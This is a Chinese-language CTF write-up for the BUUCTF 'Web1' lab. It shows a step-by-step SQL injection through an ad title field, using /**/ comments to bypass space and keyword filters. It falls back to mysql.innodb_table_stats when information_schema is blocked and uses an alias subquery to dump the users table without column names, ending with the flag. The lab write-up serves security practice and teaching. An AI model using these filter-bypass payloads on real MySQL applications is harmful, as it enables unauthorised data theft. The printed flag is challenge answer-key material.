BUUCTF——Web1
BUUCTF——Web1
进入靶场
一个登录页面
尝试弱口令登录一下
弱口令和万能密码都不行
有个注册按钮
点进去看看
看看admin账号能不能注册
基本确定待会儿要越权admin账号
随便注册了个账号登录进来
有个申请发布广告
点击试试
点击申请
没有过滤xss,但是也没什么用
看看其他地方
还是申请发布广告
在标题中尝试sql注入
order by 3--+
提示敏感信息给我过滤掉了
尝试一下注入点
发现是用单引号闭合
输入 and
or
提示敏感信息
1' 1 = 1
空格也被过滤掉了
--+
和#
也不能用
空格可以用/**/
内联注释绕过
--+
和#
也能用单引号绕过
构造payload
-1'/**/union/**/select/**/1,2,3/**/'
提示字段数不一致,那就多加几个慢慢猜
一个一个尝试
最后在22字段尝试成功
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
发现只显示2和3字段
构造payload
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
爆库
爆表
-1'/**/union/**/select/**/1,database(),group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
结果说有敏感信息过滤了
那就换一种方法
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
拿到flag
flag{4acdce77-7fc4-40b7-bfe5-b75f276304eb}
下播!!!!!